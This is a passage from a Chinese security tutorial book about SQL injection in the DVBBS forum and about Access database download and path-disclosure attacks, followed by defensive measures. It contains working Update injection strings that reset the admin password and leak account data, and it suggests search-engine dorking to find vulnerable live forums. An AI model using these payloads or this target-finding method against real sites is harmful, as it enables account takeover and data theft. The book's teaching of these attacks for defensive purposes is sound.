这几种防御方法可以导致正常的SQL注入失败，然而程序设计者的考虑还是不够周全的，这只是一个并不安全的注入半防御方法。如果提交的参数两边并没有被单引号封死，而仅靠过滤用户数据的单引号来防御SQL注入，恶意用户很可能非法提交一些特殊的编码字符，在提交时绕过网页程序的字符过滤。这些编码字符在经过网站服务器的二次编码后，就会重新生成转换成为单引号或空格之类的字符，构成合法的SQL注入语句，完成攻击。

8.5　Update注入攻击

对于SQL版的动网漏洞论坛，借助SQL数据库的强大功能，进行注入攻击非常简单。使用SQL查询中的Update语句可以轻松更新管理员密码。所以Update查询在SQL注入攻击中起着重要作用，常常被用于各种复杂环境下的SQL注入攻击中。

在动网论坛程序DVBBS7.1的"Savepost.asp"文件中包含一个"Buy_UserList"变量，但该变量没有对用户输入进行过滤，就可能存在SQL注入漏洞。

同时，该变量又导致ToolsBuyUser变量存在注入漏洞，而该变量是用户可以完全控制的。对于SQL版本的论坛，黑客可用SQL中的Update语句进行查询，以达到修改论坛管理员密码、通过差异备份得到Webshell，从而控制整个服务器的目的。

1.Buy_UserList未过滤传递

在Dreamweaver中打开存在漏洞的"savepost.asp"文件并找到如下代码：

Private GetPostType, ToMoney, UseTools, ToolsBuyUser, GetMoneyType, Tools_UseTools, Tools_

LastPostTime, ToolsInfo, ToolsSetting//定义变量

……

If GetPostType＜＞""and(Action=5 or Action=7)Then

Select Case GetPostType

Case"0"

If ToMoney=0 or ToMoney＞CCur(Dvbbs.UserSession.documentElement.

selectSingle Node("userinfo/@usermoney").text)Or ToMoney＜0 Then Set Dvbbs=Nothing:Response.

redirect"showerr.asp?ErrCodes=＜li＞您设置的金币值为空或者多于您拥有的金币数量。＆action=OtherErr"

Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/

@usermoney").text=CCur(Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/

@usermoney").text)-ToMoney

'UseTools="-1111"

ToolsBuyUser="0|||$SendMoney"

GetMoneyType=1

Case"1"

ToolsBuyUser="0|||$GetMoney"

GetMoneyType=2

'UseTools=ToolsInfo(4)

Case"2"

If ToMoney=0 Or ToMoney＜0 Then Set Dvbbs=Nothing:Response.redirect

"showerr.asp?ErrCodes=＜li＞请正确填写购买帖的金币数量。＆action=OtherErr"

Dim Buy_Orders, Buy_VIPType, Buy_UserList

Buy_Orders=Request.FORM("Buy_Orders")

Buy_VIPType=Request.FORM("Buy_VIPType")

Buy_UserList=Request.FORM("Buy_UserList")

If Buy_Orders＜＞""and IsNumeric(Buy_Orders)Then

Buy_Orders=cCur(Buy_Orders)

Else

Buy_Orders=-1

End If

If Not IsNumeric(Buy_VIPType)Then Buy_VIPType=0

If Buy_UserList＜＞""Then Buy_UserList=Replace(Replace(Replace

(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")

ToolsBuyUser="0@@@"＆Buy_Orders＆"@@@"＆Buy_VIPType＆"@@@"＆Buy_UserList＆"

|||$PayMoney|||"

GetMoneyType=3

'UseTools=ToolsInfo(4)

End Select

End If

从上述代码中不难看出：先定义"Buy_UserList"变量，再通过语句"Buy_UserList=Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")"来获得变量，如图8-96所示。

图　8-96　获取变量的语句

可以看出在获得变量的过程中没有对危险字符进行过滤，再对参数"GetPostType"值进行判断，当其值为2时，则其复制语句为ToolsBuyUser="0@@@"＆Buy_Orders＆"@@@"＆Buy_VIPType＆"@@@"＆Buy_UserList＆"|||$PayMoney|||"。这样，未经过滤就将变量"Buy_Userlist"提交给ToolsBuyUser变量。下面的代码定义一个SQL语句并执行该语句：

DIM UbblistBody

UbblistBody=Content

UbblistBody=Ubblist(Content)

SQL="insert into"＆TotalUseTable＆"(Boardid, ParentID, username, topic, body, DateAndTime,

length, RootID, layer, orders, ip, Expression, locktopic, signflag, emailflag, isbest, PostUserID,

isupload, IsAudit, Ubblist, GetMoney, UseTools, PostBuyUser, GetMoneyType)values("＆Dvbbs.boardid＆",

"＆ParentID＆",'"＆username＆"','"＆topic＆"','"＆Content＆"','"＆DateTimeStr＆"','"＆Dvbbs.strlength

(Content)＆"',"＆RootID＆","＆ilayer＆","＆iorders＆",'"＆Dvbbs.UserTrueIP＆"','"＆Expression(1)＆"',"

＆locktopic＆","＆signflag＆","＆mailflag＆",0,"＆Dvbbs.userid＆","＆ihaveupfile＆","＆IsAudit＆",

'"＆UbblistBody＆"',"＆ToMoney＆",'"＆UseTools＆"','"＆dvbbs.checkstr(ToolsBuyUser)＆"',"＆GetMoneyType＆")"

Dvbbs.Execute(sql)

Set Rs=Dvbbs.Execute("select Max(AnnounceID)From"＆TotalUseTable＆"Where PostUserID

="＆Dvbbs.UserID)

AnnounceID=Rs(0)

End Sub

在上述SQL语句中明显调用了未经过滤的ToolsBuyUser参数，所以就存在SQL注入漏洞。

2.手工Update提交

由于上面的注入漏洞对用户的输入进行一定的限制，所以直接进行用户名猜解是有一定技术难度的，可以选择SQL版本的论坛进行测试。打开百度或Google搜索引擎，在其中输入关键词"Powered By Dvbbs Version 7.1."进行搜索，在搜索结果中可以找到很多测试论坛。

首先需要测试目标网站论坛是否存在这样的注入漏洞，这里使用手工检测的方法。具体操作步骤如下。

步骤1　在论坛上注册一个用户，其用户名为"ziyifengxi"，随意进入一个版面并发表帖子，在“论坛金币帖设置”栏中选择“论坛交易帖设置”选项，如图8-97所示。

图　8-97　在帖子交易设置中输入SQL语句

步骤2　在“可购买名单限制”文本框中输入"ziyifengxi'0);update/**/set/**/UserEmail='123456789'/**/where[UserName]='ziyifengxi';--"代码。该段代码的作用是将名为"ziyifengxi"的用户资料中的E-mail地址修改为“123456789”，在进行攻击时可将ziyifengxi修改为其他注册名。

步骤3　输入帖子内容和主题，其他选项保持默认，单击【发表】按钮提交帖子。如果提交成功则查看自己的用户资料，不难发现其中的E-mail已被修改为“123456789”了，如图8-98所示。

图　8-98　修改用户资料中的E-mail地址

从上述操作中可以看出：该论坛的"Savepost.asp"页面是存在注入漏洞的，可以对其进行注入攻击。由于论坛存在着注入漏洞，所以只需要将上面提交的SQL语句进行修改，就可以攻击任何用户，甚至是管理员。如论坛里有个"admin"的管理员用户，可以修改该用户的密码，然后冒充其在论坛上进行一些操作，如发帖、管理论坛等。

在发送帖子页面的“可购买名单限制”文本框中输入"123'0);update/**/Dv_user/**/set/**/UserPassword='49ba59abbe56e057'/**/where[UserName]='admin';--"代码，其中"'49ba59abbe56e057"是“123456”的16位MD5加密密文。如在单击【发送】按钮后看到“保存帖子成功”的提示信息，则表明成功更改管理员的密码。就可以用户名为"admin"，密码为"123456"进行登录，这样就获得管理员的身份了。

另外，还可以获得后台管理员账号并修改器密码，此时用到的SQL语句如下：

123'0);update dv_user set UserEmail(select top 1 username from dv_admin)where username='ziyifengxi';--

执行上述语句后，在用户"ziyifengxi"的E-mail地址中可看到后台管理员的用户名，如图8-99所示。执行语句"123'0);update dv_admin set password='49ba59abbe56e057'where username='admin';--"，即可得到后台管理员用户admin的密码为123456。

图　8-99　得到后台管理员用户名

8.6　SQL注入攻击的防范

SQL注入攻击的危害性比较大，现在已经严重影响到程序的安全，所以必须从网站设计开始来防御SQL注入漏洞的存在。在防御SQL注入攻击时，程序员必须要注意可能出现安全漏洞的地方，其关键所在就是用户数据输入处。

1.对用户输入的数据进行过滤

目前引起SQL注入的原因是程序员在编写网站程序时对特殊字符不完全过滤。造成这种现象还是因为程序员对脚本安全没有足够的意识，或者考虑不周引起的。常见的过滤方法有基础过滤、二次过滤以及SQL通用防注入程序等多种方式。

（1）基础过滤与二次过滤。在SQL注入入侵前，需要在可修改参数中提交“'”、"and"等特殊字符来判断是否存在SQL注入漏洞；而在进行SQL注入攻击时，需要提交包含“;”、“--”、"update"、"select"等特殊字符的SQL注入语句。所以要防范SQL注入，则需要在用户输入或提交变量时，对单引号、双引号、分号、逗号、冒号等特殊字符进行转换或过滤，以很大程度减少SQL注入漏洞存在的可能性。

下面是一个ID变量的过滤性语句：

if instr(request("id"),”,”)＞0 or instr(request("id"),"insert")＞or instr(request

("id"),”;”)＞0 then response.write"

＜SCRIPT language=javascript＞

javaScript:history.go(-1);

＜/SCRIPT＞

response.end

end if

使用上述代码可以过滤ID参数中的“;”、“,”和"insert"字符。如果在ID参数中包含有这几个字符，则会返回错误页面。但危险字符远不止这几个，要过滤其他字符，只需将危害字符加入上面的代码即可。一般情况下，在获得用户提交的参数时，首先要进行一些基础性的过滤，然后再根据程序相应的功能以及用户输入进行二次过滤。

（2）使用SQL通用防注入程序进行过滤。通过手工的方法对特殊字符进行过滤难免会留下过滤不严的漏洞。而使用“SQL通用防注入程序”可以全面地对程序进行过滤，从而很好阻止SQL脚本注入漏洞的产生。

将从网上下载的“SQL通用防注入程序V3.1”存放在自己网站所在的文件夹中，然后进行简单的设置就可以很轻松地帮助程序员防御SQL注入，这是一种比较简单的过滤方法。该程序全面处理通过POST和GET两种方式提交的SQL注入，并且自定义需要过滤的字符串。当黑客提交SQL注入危险信息时，它就会自动记录黑客的IP地址、提交数据、非法操作等信息。其使用步骤如下：

步骤1　将下载的“SQL通用防注入程序”压缩包解压后，可以看到该程序主要包含Neeao_SqlIn.Asp、Neeao_sqi_admin.asp和Sql.mdb等3个文件，如图8-100所示。

图　8-100　“SQL通用防注入程序”所包含的文件

步骤2　将其复制到网站所在的文件夹中，在需要防注入的页面头部加入"＜!--#include file="Neeao_SqlIn.Asp"--＞"代码，即可在该页面防御SQL注入，如图8-101所示。

图　8-101　在网页中加入防注入程序

提示　如果要想使整个网站都可以防注入，则可在数据文件（一般为conn.asp）中加入"＜!--#include file="Neeao_SqlIn.Asp"--＞"代码，这样即可在任意页面中调用防注入程序。

除对用户提交的参数和变量进行过滤外，也可以直接限制用户可输入的参数，因为只允许提交有限的字符远比过滤特定的字符更为安全。

（3）在PHP中对参数进行过滤。使用PHP建立网站的文件中有一个配置文件php.ini，在该文件中可对PHP进行安全设置。打开"php.ini"文件的安全模式，分别设置"safe_mode=On"和"display_errors=off"。因为如果显示PHP执行错误信息的"display_errors"属性打开的话，就会返回很多可用信息，这样黑客就可以利用这些信息进行攻击。

另外，在该文件中还有一个重要的属性"magic_quotes_gpc"，如果将其设置为"On"，PHP程序就会自动将用户提交含有“'”、“"”、“\”等特殊字符的数据，转换为含有反斜线的转义字符。该属性与ASP中参数的过滤有点类似，它可以防御大部分字符型注入攻击。

2.设置错误提示信息

SQL注入主要依据是IIS给出的ASP错误信息，所以配置IIS和数据库用户权限，可以阻止SQL注入攻击。

具体的操作步骤如下。

步骤1　在【管理工具】窗口中双击“Internet信息服务”图标，即可打开【Internet信息服务】窗口，如图8-102所示。

图　8-102　【Internet信息服务】窗口

步骤2　依次展开【本地计算机】→【网址】分支，右击其中的“默认网站”图标，在弹出的快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，如图8-103所示。

图　8-103　【默认网站属性】对话框

步骤3　切换到“自定义错误”选项卡，在“HTTP错误”列表中选择“500:100”选项，如图8-104所示。单击【编辑属性】按钮，即可打开【错误映射属性】对话框，在“消息类型”下拉列表中选择“默认值”选项，如图8-105所示。

图　8-104　“自定义错误”选项卡

图　8-105　【错误映射属性】对话框

步骤4　单击【确定】按钮，即可完成对错误提示信息的设置。

3.使用专业的漏洞扫描工具

企业应当投资于一些专业的漏洞扫描工具，如Acunetix的Web漏洞扫描程序等。一个完善的漏洞扫描程序可以专门查找网站上的SQL注入式漏洞；而程序员应当使用漏洞扫描工具和站点监视工具对网站进行测试。

4.对重要数据进行加密

采用加密技术对一些重要的数据进行加密，如用MD5加密，MD5没有反向算法，也不能解密，就可以防范对网站的危害了。

8.7　专家点拨

点拨1：在使用工具"dv_boke.exe"检测管理员密码时，为什么会出现猜解不出来的情况？

解答：出现这种情况的原因是输入的用户名可能是管理员用户名。因为在"dv_boke.exe"中需要输入的是管理员的博客用户名。例如，这里管理员用户名为"admin"，其博客用户名为"ziyifengxi"，则需要输入的是"ziyifengxi"。

点拨2：使用“SQL通用防注入程序”如何才能使整个网站都可以防注入？

解答：将从网上下载的“SQL通用防注入程序V3.1”存放在自己网站所在文件夹中，如果要想使整个网站都可以防注入，则可在数据文件（一般为conn.asp）中加入"＜!--#include file="Neeao_SqlIn.Asp"--＞"代码，就可以在任意页面中调用防注入程序了。

8.8　总结与经验积累

当一个网站完全建立后，如果服务器与用户有大量的交互程序，而程序员又没有足够的安全意识，就会有很多网站程序漏洞，这将给网站带来很大的安全隐患。像本章介绍的SQL注入攻击，就往往会让网站程序面临巨大的安全威胁。目前，引起SQL注入的主要原因是程序员在编写程序时对特殊字符过滤不完全引起的，所以深入了解SQL注入攻击的原理、相应的攻击手段以及防御方法，对于每个网站安全人员都是必须的。

第9章
数据库入侵与防范技术

重点提示

♂常见数据库漏洞简介

♂默认数据库下载漏洞的攻击

♂利用Google搜索网站漏洞

♂暴库漏洞攻击实例

作为网络的一个重要应用，数据库在网站建设与网络营销中发挥着重要的作用，与普通网站相对而言，具有数据库功能的网站建设通常称为动态页面。它可以根据数据库中相应部分内容的调整而变化，使网站内容更灵活，维护更方便，更新更便捷。

9.1　常见数据库漏洞简介

黑客可能还会利用网站数据库的某些特性进行入侵攻击。例如，数据库直接下载、暴库攻击等入侵攻击方式。与SQL注入攻击相比，这些攻击方式更加直接且危害同样巨大。通常所说的数据库入侵技术主要分为数据库下载漏洞和暴库漏洞两种。

黑客在入侵控制某个网站服务器之前，需要先获得该网站管理员用户名和密码。而得到网站管理员用户名和密码的方法有很多，但都离不开对数据库进行入侵攻击。

9.1.1　数据库下载漏洞

目前，数据库下载漏洞已经成为脚本漏洞的头号杀手锏，现在已经被越来越多的人所熟知。由于开发一套网站源程序是非常费时费力的，很多建站者出于节约考虑，往往会直接购买或下载一些免费的网站文章系统、论坛等源程序，再经过修改后使用，如图9-1所示。

图　9-1　网站上的网站源代码

由于网站源程序是公开的，所以很容易知道网站的核心数据库配置连接文件及路径等信息。如果网管没有对源程序中的数据库文件名和文件路径进行修改的话，就会存在着数据暴露的安全危险。普通网站程序使用的数据库通常有两种，一种是使用小型数据库，如Access，一般就存储在本地；另一种是使用大型数据库，如SQL Server、MySQL、Oracle等，这时数据库一般放在另一台服务器上，通过ODBC来访问数据库。

在网页中查询各种数据信息、修改用户信息等操作实际上就是对数据库进行操作。如果这些网页存在漏洞，就会给网站带来不可恢复的灾难。由于Access数据库文件的特殊性，可以通过浏览器或下载工具下载Access数据库。数据库下载漏洞带来的安全威胁很大，黑客很有可能将数据库直接下载到本地打开，从中获取网站管理员密码等，以实现控制整个网站。

即使采取一些，比如修改数据库的后缀名、修改数据库的名字等防范措施，黑客也会通过猜解的方式得到数据地址，或直接向数据库中插入危险的代码，进而控制整个网站。

9.1.2　暴库漏洞

具有安全意识的程序员，会对网站源程序进行修改，如隐藏数据库文件名及路径。但黑客清还是会通过某种手段暴露该网站的数据库信息。由此又诞生了很多数据库攻击技术，暴库漏洞攻击就是其中的一个。

暴库是指通过一些技术手段或者程序漏洞得到数据库的地址，并将这些数据非法下载到本地计算机。黑客从下载的数据库中就能得到网站管理员账号和密码，然后对网站进行破坏与管理等操作；黑客也能通过数据库得到网站用户的隐私信息和服务器的最高权限。

暴库的方法有很多，如果没有修改默认数据库地址，则可以直接下载到数据库对网站进行控制。当然稍有安全意识的程序员都是会修改默认数据库地址的，所以通常是由于程序的漏洞导致数据库被黑客非法下载到。在暴库的漏洞历史中，最为经典的是“单引号过滤不严漏洞”，黑客只要加单引号就能暴库，这个漏洞危害非常大，曾经导致无数网站受害。还有曾经出现的%5c遍历目录漏洞，也是非常简单的。

在正常的网页链接地址中将“/”修改为"%5c"，IIS经过二次解码后，还可正确解释并找到网页文件。但如果调用数据库，经过解码后使用相对地址的数据库链接就会出错了。

9.2　数据库连接的基础知识

由于数据库下载和暴库漏洞攻击主要是针对ASP+Access数据库架构的网站，在详细介绍这两种攻击之前，需要先了解ASP与Access数据库的相关知识。

9.2.1　ASP与ADO模块

ASP（Active Server Page，动态服务器页面）是微软公司开发的代替CGI脚本程序的一种应用，它可以与数据库和其他程序进行交互，是一种简单、方便的编程工具。ASP是一种服务器端脚本编写环境，可以创建和运行动态网页或Web应用程序。另外，ASP可以使用服务器端ActiveX组件来执行各种各样的任务，如存取数据库、进行商务计算等。

1.ADO简介

ASP和后台数据库是通过微软的ADO对象模块进行连接的。ADO（ActiveX Data Objects, ActiveX数据对象）是一组优化的访问数据库专用对象集，也是一项容易使用并且可扩展地将数据库访问添加到Web页面的技术。

ADO提供了编程语言和统一数据访问方式OLE DB的一个中间层。它允许开发人员编写访问数据的代码而不用关注数据库是如何实现的。访问数据库时特定数据库支持的SQL命令仍可通过ADO中的命令对象来执行。

ADO使用内置的RecordSets对象作为数据的主要接口，ADO可使用VBScript、JavaScript等语言来控制对数据库的访问以及显示查询结果。可使用ADO编写脚本以连接到ODBC（Open Database Connectivity）兼容的数据库和OLE DB兼容的数据源。通过执行SQL指令也可使用户在浏览器中输入、删除、更新站点服务器的数据库信息等。

2.查看数据库的驱动程序

ADO可以连接多种支持ODBC的数据库，如SQL Server、Access等，但ADO对象必须与各种驱动程序结合才可以存取各种类型的数据库。

不同的数据库需要不同的驱动程序，查看数据库驱动程序的操作步骤如下：

步骤1　选择【开始】→【设置】→【控制面板】→【管理工具】菜单项，即可打开【管理工具】窗口，如图9-2所示。

图　9-2　【管理工具】窗口

步骤2　双击【数据源（ODBC）】图标，即可打开【ODBC数据源管理器】对话框。切换到“驱动程序”选项卡，在“名称”列表中可看到各种数据库需要的驱动程序，如SQL Server 2000的驱动程序是SQL Server；Access的驱动程序是Microsoft Access Driver，如图9-3所示。

图　9-3　【ODBC数据源管理器】对话框

9.2.2　ADO对象存取数据库

ADO可使客户端应用程序通过OLE DB提供者访问和操作数据库服务器中的数据。主要优点是易于使用、速度快、内存支出低和占用磁盘空间少。ADO包含Connection、Command、RecordSet、Error、Field、Parameters以及Properties等7个内置对象，ASP可通过这些对象完成对后台数据库的操作。

其中Connection、Command、RecordSet对象比较常用，其具体作用如下。

Connection：该对象用于建立与数据库的连接。通过连接可从应用程序访问数据源，它保存诸如指针类型、连接字符串、查询超时、连接超时和缺省数据库等连接信息。

Command：在建立Connection后，就可以对数据库进行操作。一般情况下，Command对象可在数据库中添加、删除或更新数据，或在表中进行数据查询。Command对象在定义查询参数或执行一个有输出参数的存储过程时非常有用。

RecordSet：该对象只代表一个记录集，这个记录集可以是连接的数据库中的表，也可以是Command对象的执行结果返回的记录集。所有对数据的操作几乎都是在Record-Set对象中完成的，RecordSet对象用于指定行、移动行及添加、更改、删除记录。在ASP脚本中使用ADO内置对象访问数据库，主要有如下几种操作。

1.定义数据库组件

如果想对数据库进行定义，可采用"Server.CreateObject"和“＜OBJECT＞标记”两种方法，其中第一种方法最为广泛，在分析ASP语句时经常碰到。如使用"Server.CreateObject"方法定义数据库，则用到语句Set Conn=Server.CreateObject("ADODB.Connection")。

如果使用＜OBJECT＞标记定义连接的数据库，此时用到的代码如下：

＜OBJECT RUNAT=Server ID=Conn CLASSID="Clsid:000000293-000 0-0010-8000-00AA 006D2EA4"＞

＜/OBJECT＞

2.打开数据库

可以使用"Open"打开想要访问的数据库，此时用到的代码如下：

Conn.asp"DSN名称"

3.执行SQL语句

在打开数据库后，就需要执行相应的SQL语句，此时使用"Execute"命令即可开始执行访问数据库的操作。使用到的代码如下：

Set RS=Conn.Execute("SQL语句")

其中"RS"表示结果集对象RecordSet。

4.关闭数据库

在访问完数据库后，需要关闭结果集对象，以断开与数据库的连接。此时用到的语句如下：

RS.Close

Conn.Close

9.2.3　数据库连接代码

经过前面的介绍，可以建立一个完整的Access数据库连接文件。其具体内容如下：

＜%

dim conn, db_set

db_set="web/data/data_db.mdb"//数据库地址

on error resume next

Set conn=Server.CreateObject("ADODB.Connection")

connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="＆Server.MapPath(DB_set)

conn.Open connstr

If Err.Number＞0 Then

Err.Clear

Set conn=Nothing

Response.Write"数据库连接出错,请检查Conn.asp文件中的数据库参数设置。"

Response.End

End If

sub CloseConn()

On Error Resume Next

If IsObject(Conn)Then

conn.close

set conn=nothing

end if

end sub

%＞

从上述代码中可以看出：该网站是采用OLE DB驱动程序连接Access数据库的。如果想采用ODBC驱动程序来连接Access数据库，则只需将"connstr="Provider=Microsoft.Jet.OLEDB.4.0；Data Source="＆Server.MapPath(DB_set)"修改为"connstr="DRIVER={Microsoft Access Driver(*.mdb)}；"DBO="＆Server.Mappth("""＆DB_set＆")"即可。在后面介绍的数据库下载与暴库漏洞攻击都是针对上述代码的。所以Access数据库连接代码非常重要，一定要将其弄清楚。

9.3　默认数据库下载漏洞的攻击

网站管理员都应该具备一些基本的网站安全意识和知识，特别是安全意识。不仅仅去寻找安全的网站程序，还需要去主动发现网站程序中可能存在的安全漏洞。但有很多网站管理员，将所有安全工作都交给了网站程序，这往往让黑客有可趁之机。

9.3.1　论坛网站的基本搭建流程

本节将使用动网论坛Dvbbs 8.2.0 Access版来模拟一个普通建站者的建站流程，从而让大家了解到缺乏安全意识的建站者是如何在网站中留下数据库下载漏洞的。在设置网站空间或搭建网站服务器之后，开始考虑建站程序，准备搭建一个论坛。其具体操作步骤如下：

步骤1　下载动网论坛Dvbbs 8.2.0 Access版源程序并运行安装程序，指定论坛的安装目标位置，这里设置为“F:\新建文件夹”，如图9-4所示。

图　9-4　安装页面

步骤2　单击【安装】按钮，即可完成动网论坛的解压安装。

步骤3　待安装完成后，要在服务程序中设置论坛Web服务路径，这里以使用Windows系统自带的IIS信息管理工具为例进行操作。打开【Internet信息服务器】窗口，在其左侧列表中右击“默认网站”选项，在弹出的快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，如图9-5所示。

图　9-5　【默认网站属性】对话框

步骤4　切换到“主目录”选项卡，在“本地路径”文本框中输入“F:\新建文件夹\dvbbs8”，或单击【浏览】按钮进行设置。

步骤5　在设置好路径后，登录动网论坛后台管理页面，在其中修改管理员的默认密码，并进行其他论坛功能设置，如图9-6所示。

图　9-6　修改管理员密码

9.3.2　数据库下载漏洞的攻击流程

一般情况下，黑客在入侵前都会收集目标网站的各种信息，而当黑客面对建站者搭建的论坛时，首先会获取该论坛的各种信息，如论坛采用的是什么程序、程序的版本等。这样就为网站默认数据库文件进行下载攻击做好铺垫。

缺乏安全意识的建站者，往往会给黑客留下很多“提示”信息。例如，在动网论坛主页底部，就包含Powered By Dvbbs Version 8.2.0的论坛版权标识，如图9-7所示。而这个标识就可以让黑客快速识别出动网论坛采用的程序及版本。

图　9-7　论坛主页中的标识信息

在网络上使用动网论坛的网站很多，所以可以通过搜索的方式来搜索未修改版权标识的动网论坛。打开百度或者Google搜索引擎，在其中输入"Powered By Dvbbs Version"，按下回车键即可找到使用动网论坛程序的网站，如图9-8所示。从搜索结果中可以看到“找到相关的网页约104000篇”的提示信息，表明有这么多的论坛都使用动网论坛程序，且均是未修改版本的标识。这样，黑客就可以得到论坛的版本等信息。

图　9-8　搜索未修改标识的动网论坛

在了解论坛采用的程序及版本后，黑客就会从网上下载相应的网站论坛源程序进行分析。作为最简单的入侵手段，黑客会查看网站论坛的默认数据库。黑客会在Dreamweaver中打开源程序的"conn.asp"文件，从该文件中可以查看动网论坛的默认数据库的具体位置。

该文件的主要内容如下：

If IsSqlDataBase=1 Then\\sql数据库连接参数:数据库名(SqlDatabaseName)、用户密码(SqlPassword)、用户名(SqlUsername)、连接名(SqlLocalName)(本地用local,外地用IP)

Const SqlDatabaseName="Dvbbs82"

Const SqlPassword="dvbbs"

Const SqlUsername="dvbbs"

Const SqlLocalName="(local)"

SqlNowString="GetDate()"

Else

Db="data/dvbbs8.mdb"

SqlNowString="Now()"

End If

Const EnabledSession=true

Const IsDeBug=1

Set Dvbbs=New Cls_Forum

Set template=New cls_templates

Sub ConnectionDatabase

Dim ConnStr

If IsSqlDataBase=1 Then

ConnStr="Provider=Sqloledb;User ID="＆SqlUsername＆";Password="＆SqlPassword

＆";Initial Catalog="＆SqlDatabaseName＆";Data Source="＆SqlLocalName＆";"

Else

ConnStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="＆Server.MapPath

(MyDbPath＆db)

End If

On Error Resume Next

Set conn=Dvbbs.iCreateObject("ADODB.Connection")

conn.open ConnStr

If Err Then

err.Clear

Set Conn=Nothing

Response.Write"数据库连接出错,请检查连接字串。"'

Response.End

End If

End Sub

只要对上述代码稍加分析，即可得知"data/dvbbs8.mdb"就是动网数据库的文件保存路径，如图9-9所示。代码中使用的是相对地址，所以，实际的路径应为“F:\新建文件夹\dvbbs8/data/dvbbs8.mdb”。也就是说，如果网址论坛链接地址为"http://www.***.com/bbs/"，那么默认的数据库文件链接地址应是http://www.***.com/bbs/data/dvbbs8.mdb。这样，黑客就可以利用该链接下载数据库文件了。

在其他公开代码的网站程序中，黑客也可以通过类似的方法，查到网站程序的默认数据库文件名和路径，然后再进行下载攻击。

图　9-9　在Dreamweaver中查看数据库的保存位置

9.3.3　下载网站的数据库

前面搭建的论坛功能可以正常执行，而且还修改了管理员的登录密码，但是忽略了一个极为重要的问题，即没有对论坛数据库的路径与文件名进行修改，这样就会给黑客入侵留下攻击的机会。由于在IE浏览器中访问.mdb的数据库文件时，该文件会被自动下载，黑客就会尝试下载网站的默认数据库，以获得网站的重要数据信息。如果建站者没有对默认的数据库进行改名或修改路径，就会导致网站论坛的数据库被下载攻击。

当黑客打开该论坛时会先尝试修改浏览器中的网址，假设论坛的网址是"http://localhost/asp/index.asp"，如图9-10所示。而黑客则会尝试提交关于数据库的链接"http://local host/asp/data/Dvbbs8.mdb"。

图　9-10　打开动网论坛的首页

提示　由于动网论坛使用的默认数据库是位于论坛目录下的"data/Dvbbs8.mdb"文件中，如果管理员没有更改该数据库文件的路径，只要在IE浏览器中访问该文件，就可以下载到论坛数据库。

下载并查看数据库的具体操作步骤如下：

步骤1　在IE浏览器的地址栏中输入"http://localhost/asp/data/Dvbbs8.mdb"后，即可打开【文件下载】对话框，如图9-11所示。

图　9-11　【文件下载】对话框

步骤2　单击【保存】按钮，即可打开【另存为】对话框，在其中设置数据库的保存名称和位置，如图9-12所示。单击【保存】按钮，即可进行下载。待下载完毕后，即可看到【下载完毕】提示框，如图9-13所示。

图　9-12　【另存为】对话框

图　9-13　【下载完毕】提示框

步骤3　单击【打开】按钮，即可在Access 2007中打开下载的数据库文件，如图9-14所示。在其中可以查看管理员的用户名和密码。如果没有安装Access，可以使用“辅臣数据库浏览器”打开下载的数据库，如图9-15所示。

图　9-14　在Access中打开数据库文件

图　9-15　使用“辅臣数据库浏览器”打开下载的数据库

提示　辅臣数据库浏览器是一个数据库浏览工具，其功能却非常强大。可直接连接数据库进行查询，能浏览常用数据库文件（*.mdb，*.xls），还能对整个数据库进行全部记录或选定记录的文本文件输出。

在数据库被下载后，对网站后台带来的危险是不言而喻的，黑客可以破解网站管理员密码、登录到网站的后台，并上传ASP木马后门以控制整个网站服务器。

9.3.4　数据库下载漏洞的防范

数据库下载本身不算是程序漏洞，而是由于网站程序员缺乏安全意识。该漏洞不仅存在于动网论坛中，还存在于大量的开放源代码网站程序中。很多黑客通过默认的数据库地址来下载相应的数据库文件，所以要修改自己的数据库默认的路径和文件名。否则黑客也有可能会有针对性地下载网站程序，并找到默认的数据库进行攻击。

1.修改数据库连接文件

首先修改默认的数据库文件名或路径，这是保证网站安全的第一步。这里还以动网论坛Dvbbs 8.2.0 Access版为例介绍该如何更改数据库文件名及路径，以保证网站程序的正常运行。在很多网站程序中都是通过conn.asp文件连接数据库的，conn.asp往往是默认的网站数据库连接文件。所以对于大部分的网站程序，如果要修改默认数据库文件名及路径，通常都需要修改该文件。

用Dreamweaver打开动网论坛程序目录下的conn.asp文件，找到数据库连接代码：ConnStr="Provider=Microsoft.Jet.OLEDB.4.0；Data Source="＆Server.MapPath(db)，其中"Server.MapPath(db)"中的"db"变量的作用是定义数据库路径，所以可以向上查找"db"变量的赋值语句，具体内容为Db="data/dvbbs8.mdb"。

这句即是用来定义数据库路径及文件名的代码。将其中的数据库文件名及路径进行修改，如这里改为"Db="bbsdata/bbstest.asp""，如图9-16所示。

提示　数据库路径尽量修改的简单一些，而数据库的文件名则要复杂一些，以加大黑客的猜解难度。还可把数据库文件名后缀修改为.asp，这样会提高安全性。这是因为在IE浏览器中访问.asp的数据库文件时，数据库文件将被当作asp网页文件，所以会直接显示乱码而导致无法下载数据库。

图　9-16　修改数据库连接文件

另外，在数据库文件名中，加上“#”号，这样可以在一定程序上防止数据库被下载。因为在网址链接中，“#”被当做一个截断符，IE会自动忽略#号后面的内容，所以就不能进行下载或访问到真实的数据库。例如，可以将前面的文件名路径修改为"bbsdata/bbs#test.asp"，这样在IE浏览器中访问时就会提示找不到该网页。

2.修改数据库路径

除了修改数据库连接文件conn.asp中的数据库路径和名称，还需要将已经改名的数据库文件移动到指定的路径中。这里还以动网论坛为例。打开动网论坛程序目录，将其中的"data"文件夹重新命名为"bbsdata"，再将默认的数据库文件名"dvbbs8.mdb"修改为"bbstest.asp"。如果要防御数据库下载攻击，仅仅修改数据库连接文件和路径是不够的，因为这两种方法只能防止数据库的直接下载攻击。黑客可能还会通过其他方法绕过这些限制，对数据库采取其他方式的攻击。

9.4　利用Google搜索网站漏洞

百度、Google等大型网站都是大家经常使用的网站，这些网站提供的搜索引擎服务备受广大用户的青睐。黑客可以利用搜索引擎来下载一个网站的数据库，从而得到网站的管理账号和密码，并可以控制到整个网站的管理权。

9.4.1　利用Google搜索网站信息

在Google中可以搜索出网站的数据库的相对路径，结合网站的地址找到其数据库并进行下载，最后打开数据库，得到管理员账号和密码后即可进行一系列操作。

具体的操作步骤如下。

